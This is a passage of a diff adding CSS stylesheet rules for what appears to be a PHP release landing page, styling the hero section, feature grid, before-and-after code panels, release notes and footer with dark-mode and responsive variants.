translateX(0%) } } +@keyframes hero-orb2-y { from { transform: translateY(0%) } to { transform: translateY(50%) } } +@keyframes hero-orb3-x { from { transform: translateX(0%) } to { transform: translateX(25%) } } +@keyframes hero-orb3-y { from { transform: translateY(0%) } to { transform: translateY(25%) } } +@keyframes hero-orb-rotate-fwd { from { transform: rotate(0deg) } to { transform: rotate(360deg) } } +@keyframes hero-orb-rotate-rev { from { transform: rotate(360deg) } to { transform: rotate(0deg) } } + +.hero-bg.paused .hero-orb, +.hero-bg.paused .hero-orb div { + animation-play-state: paused +} + +@media (prefers-reduced-motion: reduce) { + .hero-orb, + .hero-orb div { + animation-play-state: paused + } +} + +.hero-badge { + margin-bottom: calc(var(--spacing) * 6); + background-color: #ffffffa6; + border-radius: calc(infinity * 1px); + align-items: center; + display: inline-flex +} + +@supports (color:color-mix(in lab, red, red)) { + .hero-badge { + background-color: color-mix(in oklab, var(--color-white) 65%, transparent) + } +} + +.hero-badge { + padding-inline: calc(var(--spacing) * 4); + padding-block: calc(var(--spacing) * 1); + font-size: var(--text-sm); + line-height: var(--tw-leading, var(--text-sm--line-height)); + color: var(--color-gray-600); + --tw-ring-shadow: var(--tw-ring-inset,) 0 0 0 calc(1px + var(--tw-ring-offset-width)) var(--tw-ring-color, currentcolor); + box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); + --tw-ring-color: #0000000d +} + +@supports (color:color-mix(in lab, red, red)) { + .hero-badge { + --tw-ring-color: color-mix(in oklab, var(--color-black) 5%, transparent) + } +} + +.hero-badge:where(.dark,.dark *) { + color: var(--color-gray-200); + --tw-ring-color: #ffffff1a +} + +@supports (color:color-mix(in lab, red, red)) { + .hero-badge:where(.dark,.dark *) { + --tw-ring-color: color-mix(in oklab, var(--color-white) 10%, transparent) + } +} + +.hero-badge svg { + margin-right: calc(var(--spacing) * 1.5); + margin-left: calc(var(--spacing) * -1); + width: calc(var(--spacing) * 4); + height: calc(var(--spacing) * 4); + color: var(--color-teal-400) +} + +.hero-badge svg:where(.dark,.dark *) { + color: var(--color-teal-300) +} + +.hero-php-logo { + margin-inline: auto; + margin-bottom: calc(var(--spacing) * 6); + height: calc(var(--spacing) * 12); + color: var(--color-gray-800); + width: auto; +} + +@media (min-width: 64rem) { + .hero-php-logo { + height: calc(var(--spacing) * 22) + } +} + +.hero-php-logo:where(.dark,.dark *) { + color: var(--color-white) +} + +.hero h1 { + margin-bottom: calc(var(--spacing) * 5); + font-size: var(--text-4xl); + line-height: var(--tw-leading, var(--text-4xl--line-height)); + font-weight: var(--font-weight-bold); + text-wrap: balance +} + +@media (min-width: 40rem) { + .hero h1 { + font-size: var(--text-5xl); + line-height: var(--tw-leading, var(--text-5xl--line-height)) + } +} + +.hero h1:where(.dark,.dark *) { + color: var(--color-white) +} + +.hero p { + margin-inline: auto; + margin-bottom: calc(var(--spacing) * 8); + max-width: var(--container-2xl); + --tw-leading: var(--leading-relaxed); + line-height: var(--leading-relaxed); + color: var(--color-gray-500) +} + +@media (min-width: 64rem) { + .hero p { + margin-bottom: calc(var(--spacing) * 10) + } +} + +.hero p:where(.dark,.dark *) { + color: #fffc +} + +@supports (color:color-mix(in lab, red, red)) { + .hero p:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 80%, transparent) + } +} + +.hero p strong { + color: var(--color-gray-900) +} + +.hero p strong:where(.dark,.dark *) { + color: var(--color-white) +} + +.hero-actions { + justify-content: center; + align-items: center; + gap: calc(var(--spacing) * 4); + flex-direction: column; + display: flex +} + +@media (min-width: 64rem) { + .hero-actions { + flex-direction: row + } +} + +.hero .release-unavailable-note { + margin-top: calc(var(--spacing) * 6); + margin-bottom: 0; + font-size: var(--text-sm); +} + +.features { + isolation: isolate; + z-index: 10; + border-block-style: var(--tw-border-style); + border-block-width: 1px; + border-color: #e4e4e780; + position: relative +} + +@supports (color:color-mix(in lab, red, red)) { + .features { + border-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent) + } +} + +.features { + background-color: var(--color-white); + padding-block: calc(var(--spacing) * 20) +} + +@media (min-width: 64rem) { + .features { + padding-block: calc(var(--spacing) * 28) + } +} + +.features:where(.dark,.dark *) { + border-color: #00000040 +} + +@supports (color:color-mix(in lab, red, red)) { + .features:where(.dark,.dark *) { + border-color: color-mix(in oklab, var(--color-black) 25%, transparent) + } +} + +.features:where(.dark,.dark *) { + background-color: oklab(39.0688% .00431919 -.103547/.4) +} + +.features-pattern { + pointer-events: none; + top: calc(var(--spacing) * 0); + color: #09090b26; + width: 100%; + height: 100%; + position: absolute +} + +@supports (color:color-mix(in lab, red, red)) { + .features-pattern { + color: color-mix(in oklab, var(--color-gray-950) 15%, transparent) + } +} + +.features-pattern:where(.dark,.dark *) { + color: #ffffff1a +} + +@supports (color:color-mix(in lab, red, red)) { + .features-pattern:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 10%, transparent) + } +} + +.features-title { + max-width: var(--container-7xl); + justify-content: center; + align-items: center; + gap: calc(var(--spacing) * 3); + padding-inline: calc(var(--spacing) * 4); + text-align: center; + text-wrap: balance; + flex-direction: column; + margin-inline: auto; + display: flex +} + +@media (min-width: 64rem) { + .features-title { + gap: calc(var(--spacing) * 6); + padding-inline: calc(var(--spacing) * 8); + flex-direction: row + } +} + +.features-title h2 { + font-size: var(--text-2xl); + line-height: var(--tw-leading, var(--text-2xl--line-height)); + font-weight: var(--font-weight-bold) +} + +@media (min-width: 64rem) { + .features-title h2 { + font-size: var(--text-3xl); + line-height: var(--tw-leading, var(--text-3xl--line-height)) + } +} + +.features-title p { + color: var(--color-gray-600) +} + +@media (min-width: 64rem) { + .features-title p { + font-size: var(--text-lg); + line-height: var(--tw-leading, var(--text-lg--line-height)) + } +} + +.features-title p:where(.dark,.dark *) { + color: #fffc +} + +@supports (color:color-mix(in lab, red, red)) { + .features-title p:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 80%, transparent) + } +} + +.features-title strong { + font-weight: var(--font-weight-semibold); + color: var(--color-gray-900) +} + +.features-title strong:where(.dark,.dark *) { + color: var(--color-white) +} + +.features-grid-container { + margin-inline: auto; + margin-top: calc(var(--spacing) * 8); + max-width: var(--container-7xl); + padding-inline: calc(var(--spacing) * 4) +} + +@media (min-width: 40rem) { + .features-grid-container { + margin-top: calc(var(--spacing) * 12) + } +} + +@media (min-width: 64rem) { + .features-grid-container { + padding-inline: calc(var(--spacing) * 8) + } +} + +.features-grid { + gap: calc(var(--spacing) * 4); + display: grid +} + +@media (min-width: 64rem) { + .features-grid { + grid-template-rows:repeat(2, minmax(0, 1fr)); + grid-template-columns:repeat(3, minmax(0, 1fr)) + } +} + +.features-col { + border-radius: var(--radius-xl); + background-color: #00000003; + position: relative +} + +@supports (color:color-mix(in lab, red, red)) { + .features-col { + background-color: color-mix(in oklab, var(--color-black) 1%, transparent) + } +} + +.features-col { + --tw-shadow: 0 1px #0000000d; + box-shadow: var(--tw-inset-shadow), var(--tw-inset-ring-shadow), var(--tw-ring-offset-shadow), var(--tw-ring-shadow), var(--tw-shadow); + outline: #0000000d var(--tw-outline-style) 1px; +} + +@supports (color:color-mix(in lab, red, red)) { + .features-col { + outline-color: color-mix(in oklab, var(--color-black) 5%, transparent) + } +} + +.features-col { + backdrop-filter: blur(4px); +} + +@media (hover: hover) { + .features-col:hover { + background-color: #18181b08 + } + + @supports (color:color-mix(in lab, red, red)) { + .features-col:hover { + background-color: color-mix(in oklab, var(--color-gray-900) 3%, transparent) + } + } +} + +.features-col:where(.dark,.dark *) { + background-color: #ffffff14 +} + +@supports (color:color-mix(in lab, red, red)) { + .features-col:where(.dark,.dark *) { + background-color: color-mix(in oklab, var(--color-white) 8%, transparent) + } +} + +@media (hover: hover) { + .features-col:where(.dark,.dark *):hover { + background-color: #ffffff1a + } + + @supports (color:color-mix(in lab, red, red)) { + .features-col:where(.dark,.dark *):hover { + background-color: color-mix(in oklab, var(--color-white) 10%, transparent) + } + } +} + +.features-first-col { + border-radius: var(--radius-4xl) var(--radius-4xl) var(--radius-xl) var(--radius-xl); +} + +@media (min-width: 64rem) { + .features-first-col { + border-radius: var(--radius-xl); + border-top-left-radius: var(--radius-4xl) + } + + .features-third-col { + border-top-right-radius: var(--radius-4xl) + } + + .features-fourth-col { + border-bottom-left-radius: var(--radius-4xl) + } +} + +.features-sixth-col { + border-radius: var(--radius-xl) var(--radius-xl) var(--radius-4xl) var(--radius-4xl); +} + +@media (min-width: 64rem) { + .features-sixth-col { + border-bottom-right-radius: var(--radius-4xl); + border-bottom-left-radius: var(--radius-xl) + } +} + +.features-col-container { + flex-direction: column; + height: 100%; + display: flex; + position: relative +} + +.features-col-spacing { + padding: calc(var(--spacing) * 8) +} + +@media (min-width: 40rem) { + .features-col-spacing { + padding: calc(var(--spacing) * 10) + } +} + +.features-col svg { + margin-bottom: calc(var(--spacing) * 4); + width: calc(var(--spacing) * 7); + height: calc(var(--spacing) * 7); + color: #6b58ff +} + +.features-col svg:where(.dark,.dark *) { + color: #7b75ff +} + +.features-col a { + font-size: var(--text-lg); + line-height: var(--tw-leading, var(--text-lg--line-height)); + font-weight: var(--font-weight-semibold); + color: var(--color-gray-950); + text-decoration-line: none !important +} + +.features-col a:where(.dark,.dark *) { + color: var(--color-white) +} + +.features-col a span { + inset: calc(var(--spacing) * 0); + position: absolute +} + +.features-col p { + margin-top: calc(var(--spacing) * 4); + font-size: var(--text-sm); + line-height: calc(var(--spacing) * 6); + color: var(--color-gray-600) +} + +.features-col p:where(.dark,.dark *) { + color: #fffc +} + +@supports (color:color-mix(in lab, red, red)) { + .features-col p:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 80%, transparent) + } +} + +.before-and-after-container { + z-index: 10; + padding-top: calc(var(--spacing) * 18); + position: relative +} + +@media (min-width: 64rem) { + .before-and-after-container { + padding-top: calc(var(--spacing) * 28) + } +} + +.before-and-after-container:where(.dark,.dark *) { + background-color: oklab(39.0688% .00431919 -.103547/.3) +} + +.before-and-after-container.last { + padding-bottom: calc(var(--spacing) * 20) +} + +@media (min-width: 64rem) { + .before-and-after-container.last { + padding-bottom: calc(var(--spacing) * 28) + } +} + +.before-and-after-code-container { + margin-inline: auto; + margin-top: calc(var(--spacing) * 8); + max-width: var(--container-7xl); + padding-inline: calc(var(--spacing) * 4) +} + +@media (min-width: 40rem) { + .before-and-after-code-container { + margin-top: calc(var(--spacing) * 12) + } +} + +@media (min-width: 64rem) { + .before-and-after-code-container { + padding-inline: calc(var(--spacing) * 8) + } +} + +.before-and-after-code { + gap: calc(var(--spacing) * 2); + border-radius: var(--radius-3xl); + background-color: var(--color-white); + padding: calc(var(--spacing) * 2); + font-size: var(--text-sm); + line-height: var(--tw-leading, var(--text-sm--line-height)); + outline: var(--color-gray-200) var(--tw-outline-style) 1px; + display: grid +} + +@media (min-width: 64rem) { + .before-and-after-code { + gap: calc(var(--spacing) * 5); + padding: calc(var(--spacing) * 5); + grid-template-columns:repeat(2, minmax(0, 1fr)) + } + + .before-and-after-code.single { + grid-template-columns: minmax(0, 1fr) + } +} + +.before-and-after-code:where(.dark,.dark *) { + background-color: #ffffff0d +} + +@supports (color:color-mix(in lab, red, red)) { + .before-and-after-code:where(.dark,.dark *) { + background-color: color-mix(in oklab, var(--color-white) 5%, transparent) + } +} + +.before-and-after-code:where(.dark,.dark *) { + outline-color: #0000000d +} + +@supports (color:color-mix(in lab, red, red)) { + .before-and-after-code:where(.dark,.dark *) { + outline-color: color-mix(in oklab, var(--color-black) 5%, transparent) + } +} + +.before-and-after-title-and-description { + max-width: var(--container-3xl); + margin-inline: auto +} + +:where(.before-and-after-title-and-description>:not(:last-child)) { + --tw-space-y-reverse: 0; + margin-block-start: calc(calc(var(--spacing) * 4) * var(--tw-space-y-reverse)); + margin-block-end: calc(calc(var(--spacing) * 4) * calc(1 - var(--tw-space-y-reverse))) +} + +.before-and-after-title-and-description { + padding-inline: calc(var(--spacing) * 4); + text-align: center +} + +@media (min-width: 64rem) { + .before-and-after-title-and-description { + padding-inline: calc(var(--spacing) * 8) + } +} + +.before-and-after-title-and-description h2 { + font-size: var(--text-xl); + line-height: var(--tw-leading, var(--text-2xl--line-height)); + font-weight: var(--font-weight-bold) +} + +@media (min-width: 64rem) { + .before-and-after-title-and-description h2 { + font-size: var(--text-3xl); + line-height: var(--tw-leading, var(--text-3xl--line-height)) + } +} + +.before-and-after-title-and-description p, +.before-and-after-title-and-description ul { + color: var(--color-gray-600); + text-align: left; +} + +@media (min-width: 64rem) { + .before-and-after-title-and-description p { + font-size: var(--text-lg); + line-height: var(--tw-leading, var(--text-lg--line-height)) + } +} + +.before-and-after-title-and-description p:where(.dark,.dark *), +.before-and-after-title-and-description ul:where(.dark,.dark *) { + color: #fffc +} + +@supports (color:color-mix(in lab, red, red)) { + .before-and-after-title-and-description p:where(.dark,.dark *), + .before-and-after-title-and-description ul:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 80%, transparent) + } +} + +.features-col code, +.before-and-after-title-and-description code { + padding-inline: calc(var(--spacing) * 1); + padding-block: calc(var(--spacing) * .5); + font-size: var(--text-sm); + line-height: var(--tw-leading, var(--text-sm--line-height)) +} +.features-col a code { + font-size: inherit; + line-height: inherit +} +.before-and-after-title-and-description h2 > code { + font-size: 87%; +} + +.code-container { + border-radius: var(--radius-2xl); + border-style: var(--tw-border-style); + border-width: 1px; + border-color: var(--color-gray-200); + background-color: var(--color-white); + position: relative; + overflow: hidden; + display: flex; + flex-direction: column; +} + +.code-container:where(.dark,.dark *) { + border-color: #0000001a +} + +@supports (color:color-mix(in lab, red, red)) { + .code-container:where(.dark,.dark *) { + border-color: color-mix(in oklab, var(--color-black) 10%, transparent) + } +} + +.code-container:where(.dark,.dark *) { + background-color: #09090b40 +} + +@supports (color:color-mix(in lab, red, red)) { + .code-container:where(.dark,.dark *) { + background-color: color-mix(in oklab, var(--color-gray-950) 25%, transparent) + } +} + +.code-container .header { + justify-content: space-between; + align-items: center; + display: flex +} + +:where(.code-container .header>:not(:last-child)) { + --tw-space-x-reverse: 0; + margin-inline-start: calc(calc(var(--spacing) * 2) * var(--tw-space-x-reverse)); + margin-inline-end: calc(calc(var(--spacing) * 2) * calc(1 - var(--tw-space-x-reverse))) +} + +.code-container .header { + border-bottom-style: var(--tw-border-style); + border-bottom-width: 1px; + border-color: var(--color-gray-200); + padding-inline: calc(var(--spacing) * 3); + padding-block: calc(var(--spacing) * 2); + font-size: var(--text-sm); + line-height: var(--tw-leading, var(--text-sm--line-height)); + font-weight: var(--font-weight-semibold) +} + +.code-container .header:where(.dark,.dark *) { + border-color: #ffffff0d +} + +@supports (color:color-mix(in lab, red, red)) { + .code-container .header:where(.dark,.dark *) { + border-color: color-mix(in oklab, var(--color-white) 5%, transparent) + } +} + +.code-container .header div { + align-items: center; + display: flex +} + +:where(.code-container .header div>:not(:last-child)) { + --tw-space-x-reverse: 0; + margin-inline-start: calc(calc(var(--spacing) * 3) * var(--tw-space-x-reverse)); + margin-inline-end: calc(calc(var(--spacing) * 3) * calc(1 - var(--tw-space-x-reverse))) +} + +.code-container .header a { + font-size: var(--text-xs); + line-height: var(--tw-leading, var(--text-xs--line-height)); + color: var(--color-gray-600); + text-decoration-line: underline +} + +@media (hover: hover) { + .code-container .header a:hover { + text-decoration-line: none + } +} + +.code-container .header a:where(.dark,.dark *) { + color: var(--color-gray-400) +} + +.code-container button { + cursor: pointer; + border-radius: var(--radius-lg); + padding: calc(var(--spacing) * 2) +} + +@media (hover: hover) { + .code-container button:hover { + background-color: var(--color-gray-100) + } + + .code-container button:where(.dark,.dark *):hover { + background-color: #ffffff0d + } + + @supports (color:color-mix(in lab, red, red)) { + .code-container button:where(.dark,.dark *):hover { + background-color: color-mix(in oklab, var(--color-white) 5%, transparent) + } + } +} + +.code-container button svg { + width: calc(var(--spacing) * 4); + height: calc(var(--spacing) * 4) +} + +.code-container .phpcode { + flex: 1; + display: flex; + flex-direction: column; +} + +.code-container pre { + flex: 1; + font-size: var(--text-xs); + line-height: 2; + white-space: pre; + display: flex +} + +@media (min-width: 40rem) { + .code-container pre { + font-size: var(--text-sm); + line-height: var(--tw-leading, var(--text-sm--line-height)) + } +} + +.code-container code { + height: 100%; + padding: 1.25em; + color: var(--color-gray-400); + flex: 1; + overflow: auto +} + +.release-notes { + isolation: isolate; + z-index: 10; + border-block-style: var(--tw-border-style); + border-block-width: 1px; + border-color: #e4e4e780; + position: relative +} + +@supports (color:color-mix(in lab, red, red)) { + .release-notes { + border-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent) + } +} + +.release-notes { + background-color: var(--color-white); + padding-block: calc(var(--spacing) * 20) +} + +@media (min-width: 64rem) { + .release-notes { + padding-block: calc(var(--spacing) * 28) + } +} + +.release-notes:where(.dark,.dark *) { + border-color: #00000040 +} + +@supports (color:color-mix(in lab, red, red)) { + .release-notes:where(.dark,.dark *) { + border-color: color-mix(in oklab, var(--color-black) 25%, transparent) + } +} + +.release-notes:where(.dark,.dark *) { + background-color: oklab(39.0688% .00431919 -.103547/.1) +} + +.release-notes h2 { + font-size: var(--text-xl); + line-height: var(--tw-leading, var(--text-xl--line-height)); + font-weight: var(--font-weight-semibold); + letter-spacing: -.025em; + text-wrap: pretty; + color: var(--color-gray-900) +} + +@media (min-width: 40rem) { + .release-notes h2 { + font-size: var(--text-3xl); + line-height: var(--tw-leading, var(--text-3xl--line-height)) + } +} + +.release-notes h2:where(.dark,.dark *) { + color: var(--color-white) +} + +.release-notes svg { + pointer-events: none; + top: calc(var(--spacing) * 0); + color: #09090b26; + width: 100%; + height: 100%; + position: absolute +} + +@supports (color:color-mix(in lab, red, red)) { + .release-notes svg { + color: color-mix(in oklab, var(--color-gray-950) 15%, transparent) + } +} + +.release-notes svg:where(.dark,.dark *) { + color: #ffffff1a +} + +@supports (color:color-mix(in lab, red, red)) { + .release-notes svg:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 10%, transparent) + } +} + +.release-notes ul, +.before-and-after-title-and-description ul { + margin-left: calc(var(--spacing) * 4); + list-style-type: disc +} + +:where(.release-notes ul>:not(:last-child)), +:where(.before-and-after-title-and-description ul>:not(:last-child)) { + --tw-space-y-reverse: 0; + margin-block-start: calc(calc(var(--spacing) * 4) * var(--tw-space-y-reverse)); + margin-block-end: calc(calc(var(--spacing) * 4) * calc(1 - var(--tw-space-y-reverse))) +} + +.release-notes ul, +.before-and-after-title-and-description ul { + font-size: var(--text-sm); + line-height: var(--tw-leading, var(--text-sm--line-height)); + overflow-wrap: break-word +} + +@media (min-width: 64rem) { + .release-notes ul, + .before-and-after-title-and-description ul { + font-size: var(--text-base); + line-height: var(--tw-leading, var(--text-base--line-height)) + } +} + +.release-notes-grid div > ul:not(:last-of-type) { + margin-bottom: calc(var(--spacing) * 8); +} + +.release-notes code { + padding-inline: calc(var(--spacing) * 1); + padding-block: calc(var(--spacing) * .5) +} + +.features-col code, +.release-notes code, +.before-and-after-title-and-description code { + border-radius: var(--radius-md); + background-color: #e4e4e780 +} + +.hero-badge:where(.dark,.dark *), +.features-col code:where(.dark,.dark *), +.release-notes code:where(.dark,.dark *), +.before-and-after-title-and-description code:where(.dark,.dark *) { + background-color: #0003 +} + +@supports (color:color-mix(in lab, red, red)) { + .features-col code, + .release-notes code, + .before-and-after-title-and-description code { + background-color: color-mix(in oklab, var(--color-gray-200) 50%, transparent) + } + + .hero-badge:where(.dark,.dark *), + .features-col code:where(.dark,.dark *), + .release-notes code:where(.dark,.dark *), + .before-and-after-title-and-description code:where(.dark,.dark *) { + background-color: color-mix(in oklab, var(--color-black) 20%, transparent) + } +} + +.release-notes .new ::marker { + color: var(--color-green-500) +} + +.release-notes .new::marker { + color: var(--color-green-500) +} + +.release-notes .new ::-webkit-details-marker { + color: var(--color-green-500) +} + +.release-notes .new::-webkit-details-marker { + color: var(--color-green-500) +} + +.release-notes .old ::marker { + color: var(--color-red-400) +} + +.release-notes .old::marker { + color: var(--color-red-400) +} + +.release-notes .old ::-webkit-details-marker { + color: var(--color-red-400) +} + +.release-notes .old::-webkit-details-marker { + color: var(--color-red-400) +} + +.release-notes h3 { + margin-bottom: calc(var(--spacing) * 2); +} + +.release-notes-grid-container { + margin-inline: auto; + margin-top: calc(var(--spacing) * -2); + max-width: var(--container-7xl); + padding-inline: calc(var(--spacing) * 4) +} + +.release-notes-grid-container + .release-notes-grid-container { + margin-top: calc(var(--spacing) * 8) +} + +@media (min-width: 64rem) { + .release-notes-grid-container { + padding-inline: calc(var(--spacing) * 8) + } + + .release-notes-grid { + gap: calc(var(--spacing) * 5); + grid-template-columns:repeat(12, minmax(0, 1fr)); + display: grid + } +} + +.release-notes-grid div { + border-radius: var(--radius-3xl); + background-color: #00000008; + padding: calc(var(--spacing) * 6); +} + +.release-notes-grid div.chart-table:where(.dark,.dark *) { + background-color: #ffffff59; +} + +.release-notes-grid div:where(.dark,.dark *) { + background-color: #ffffff08 +} + +@media (min-width: 48rem) { + .release-notes-grid div { + padding: calc(var(--spacing) * 10) + } +} + +.release-notes-grid div.chart-table { + margin: calc(var(--spacing) * 4) 0; + padding: calc(var(--spacing) * 4); + border-radius: var(--radius-xl); +} + +@supports (color:color-mix(in lab, red, red)) { + .release-notes-grid div { + background-color: color-mix(in oklab, var(--color-black) 3%, transparent); + } + .release-notes-grid div:where(.dark,.dark *) { + background-color: color-mix(in oklab, var(--color-white) 3%, transparent); + } + .release-notes-grid div.chart-table:where(.dark,.dark *) { + background-color: color-mix(in oklab, var(--color-white) 80%, transparent); + } +} + +.release-notes-grid div.center { + background-color: transparent; + border-radius: 0; + padding: 0; +} + +.release-notes-grid div.center:where(.dark,.dark *) { + background-color: transparent; +} + +@media (min-width: 64rem) { + .release-notes-grid div:first-of-type { + grid-column: span 6/span 6 + } + + .release-notes-grid div:only-child { + grid-column: span 12/span 12 + } +} + +.release-notes-grid div:nth-of-type(2) { + margin-top: calc(var(--spacing) * 10) +} + +@media (min-width: 64rem) { + .release-notes-grid div:nth-of-type(2) { + margin-top: calc(var(--spacing) * 0); + grid-column: span 6/span 6 + } +} + +.cta-footer { + isolation: isolate; + z-index: 10; + padding-block: calc(var(--spacing) * 20); + position: relative +} + +@media (min-width: 64rem) { + .cta-footer { + padding-block: calc(var(--spacing) * 28) + } +} + +.cta-footer:where(.dark,.dark *) { + background-color: oklab(39.0688% .00431919 -.103547/.2) +} + +.cta-footer > svg { + pointer-events: none; + inset: calc(var(--spacing) * 0); + z-index: 2; + stroke: #18181b14; + width: 100%; + height: 100%; + position: absolute; + -webkit-mask-image: linear-gradient(#0000, #ffffffad); + mask-image: linear-gradient(#0000, #ffffffad) +} + +@supports (color:color-mix(in lab, red, red)) { + .cta-footer > svg { + stroke: color-mix(in oklab, var(--color-gray-900) 8%, transparent) + } +} + +.cta-footer > svg:where(.dark,.dark *) { + stroke: #ffffff14 +} + +@supports (color:color-mix(in lab, red, red)) { + .cta-footer > svg:where(.dark,.dark *) { + stroke: color-mix(in oklab, var(--color-white) 8%, transparent) + } +} + +.cta-footer-content { + max-width: var(--container-4xl); + padding-inline: calc(var(--spacing) * 4); + text-align: center; + margin-inline: auto +} + +@media (min-width: 64rem) { + .cta-footer-content { + padding-inline: calc(var(--spacing) * 8) + } +} + +.cta-footer-content svg { + width: calc(var(--spacing) * 16); + height: calc(var(--spacing) * 16); + color: var(--color-gray-800); + margin-inline: auto +} + +.cta-footer-content svg:where(.dark,.dark *) { + color: var(--color-gray-100) +} + +.cta-footer-content h2 { + margin-block: calc(var(--spacing) * 10); + font-family: var(--font-sans); + font-size: var(--text-2xl); + line-height: var(--tw-leading, var(--text-2xl--line-height)); + font-weight: var(--font-weight-semibold); + text-wrap: balance; + color: var(--color-gray-900) +} + +@media (min-width: 40rem) { + .cta-footer-content h2 { + font-size: var(--text-4xl); + line-height: var(--tw-leading, var(--text-4xl--line-height)) + } +} + +.cta-footer-content h2:where(.dark,.dark *) { + color: var(--color-white) +} + +.cta-footer-button-container { + margin-bottom: calc(var(--spacing) * 10); + justify-content: center; + align-items: center; + display: flex +} + +:where(.cta-footer-button-container>:not(:last-child)) { + --tw-space-x-reverse: 0; + margin-inline-start: calc(calc(var(--spacing) * 4) * var(--tw-space-x-reverse)); + margin-inline-end: calc(calc(var(--spacing) * 4) * calc(1 - var(--tw-space-x-reverse))) +} + +.cta-footer-content .release-unavailable-note { + margin-top: calc(var(--spacing) * -6); + margin-bottom: calc(var(--spacing) * 8); + font-size: var(--text-sm); +} + +.cta-footer-content p { + max-width: var(--container-2xl); + --tw-leading: var(--leading-relaxed); + line-height: var(--leading-relaxed); + color: #18181bcc; + margin-inline: auto +} + +@supports (color:color-mix(in lab, red, red)) { + .cta-footer-content p { + color: color-mix(in oklab, var(--color-gray-900) 80%, transparent) + } +} + +.cta-footer-content p:where(.dark,.dark *) { + color: #fffc +} + +@supports (color:color-mix(in lab, red, red)) { + .cta-footer-content p:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 80%, transparent) + } +} + +.cta-footer-content .first-paragraph { + margin-bottom: calc(var(--spacing) * 6) +} + +footer { + isolation: isolate; + z-index: 10; + border-top-style: var(--tw-border-style); + border-color: #0000000d; + border-top-width: 1px; + position: relative +} + +@supports (color:color-mix(in lab, red, red)) { + footer { + border-color: color-mix(in oklab, var(--color-black) 5%, transparent) + } +} + +footer:where(.dark,.dark *) { + border-color: #ffffff08 +} + +@supports (color:color-mix(in lab, red, red)) { + footer:where(.dark,.dark *) { + border-color: color-mix(in oklab, var(--color-white) 3%, transparent) + } +} + +footer:where(.dark,.dark *) { + background-color: oklab(39.0688% .00431919 -.103547/.3) +} + +footer p { + font-size: var(--text-sm); + line-height: calc(var(--spacing) * 6); + text-wrap: balance; + color: var(--color-gray-600) +} + +footer p:where(.dark,.dark *) { + color: #fffc +} + +@supports (color:color-mix(in lab, red, red)) { + footer p:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 80%, transparent) + } +} + +.social-icons { + column-gap: calc(var(--spacing) * 6); + display: flex +} + +.social-icons a { + color: var(--color-gray-600) +} + +@media (hover: hover) { + .social-icons a:hover { + color: var(--color-gray-800) + } +} + +.social-icons a:where(.dark,.dark *) { + color: #fffc +} + +@supports (color:color-mix(in lab, red, red)) { + .social-icons a:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 80%, transparent) + } +} + +@media (hover: hover) { + .social-icons a:where(.dark,.dark *):hover { + color: var(--color-white) + } +} + +.social-icons svg { + width: calc(var(--spacing) * 6); + height: calc(var(--spacing) * 6) +} + +.footer-logo { + height: calc(var(--spacing) * 10); + display: inline-block +} + +.footer-logo svg { + height: calc(var(--spacing) * 10); + color: var(--color-gray-800); + display: inline-block +} + +.footer-logo svg:where(.dark,.dark *) { + color: var(--color-white) +} + +.footer-container { + max-width: var(--container-7xl); + padding-inline: calc(var(--spacing) * 4); + padding-top: calc(var(--spacing) * 16); + padding-bottom: calc(var(--spacing) * 8); + margin-inline: auto +} + +@media (min-width: 40rem) { + .footer-container { + padding-top: calc(var(--spacing) * 24) + } +} + +@media (min-width: 64rem) { + .footer-container { + padding-inline: calc(var(--spacing) * 8); + padding-top: calc(var(--spacing) * 28) + } +} + +@media (min-width: 80rem) { + .footer-grid { + gap: calc(var(--spacing) * 8); + grid-template-columns:repeat(3, minmax(0, 1fr)); + display: grid + } +} + +:where(.footer-grid>div>:not(:last-child)) { + --tw-space-y-reverse: 0; + margin-block-start: calc(calc(var(--spacing) * 8) * var(--tw-space-y-reverse)); + margin-block-end: calc(calc(var(--spacing) * 8) * calc(1 - var(--tw-space-y-reverse))) +} + +.footer-links-container { + margin-top: calc(var(--spacing) * 16); + gap: calc(var(--spacing) * 8); + grid-template-columns:repeat(2, minmax(0, 1fr)); + display: grid +} + +@media (min-width: 80rem) { + .footer-links-container { + margin-top: calc(var(--spacing) * 0); + grid-column: span 2/span 2 + } +} + +@media (min-width: 48rem) { + .footer-links-grid { + gap: calc(var(--spacing) * 8); + grid-template-columns:repeat(2, minmax(0, 1fr)); + display: grid + } +} + +.footer-links-grid h3 { + font-size: var(--text-sm); + line-height: calc(var(--spacing) * 6); + font-weight: var(--font-weight-semibold); + color: var(--color-gray-900) +} + +.footer-links-grid h3:where(.dark,.dark *) { + color: var(--color-white) +} + +.footer-links-grid ul { + margin-top: calc(var(--spacing) * 6) +} + +:where(.footer-links-grid ul>:not(:last-child)) { + --tw-space-y-reverse: 0; + margin-block-start: calc(calc(var(--spacing) * 4) * var(--tw-space-y-reverse)); + margin-block-end: calc(calc(var(--spacing) * 4) * calc(1 - var(--tw-space-y-reverse))) +} + +.footer-links-grid a { + font-size: var(--text-sm); + line-height: calc(var(--spacing) * 6); + color: var(--color-gray-600) +} + +@media (hover: hover) { + .footer-links-grid a:hover { + color: var(--color-gray-900) + } +} + +.footer-links-grid a:where(.dark,.dark *) { + color: #fffc +} + +@supports (color:color-mix(in lab, red, red)) { + .footer-links-grid a:where(.dark,.dark *) { + color: color-mix(in oklab, var(--color-white) 80%, transparent) + } +} + +@media (hover: hover) { + .footer-links-grid a:where(.dark,.dark *):hover { + color: var(--color-white) + } +} + +.footer-links-grid div:first-of-type { + margin-bottom: calc(var(--spacing) * 10) +} + +@media (min-width: 48rem) { + .footer-links-grid div:first-of-type { + margin-bottom: calc(var(--spacing) * 0) + } +} + +.footer-credits { + margin-top: calc(var(--spacing) * 0); + border-top-style: var(--tw-border-style); + border-color: #18181b1a; + border-top-width: 1px +} + +@supports (color:color-mix(in lab, red, red)) { + .footer-credits { + border-color: color-mix(in oklab, var(--color-gray-900) 10%, transparent) + } +} + 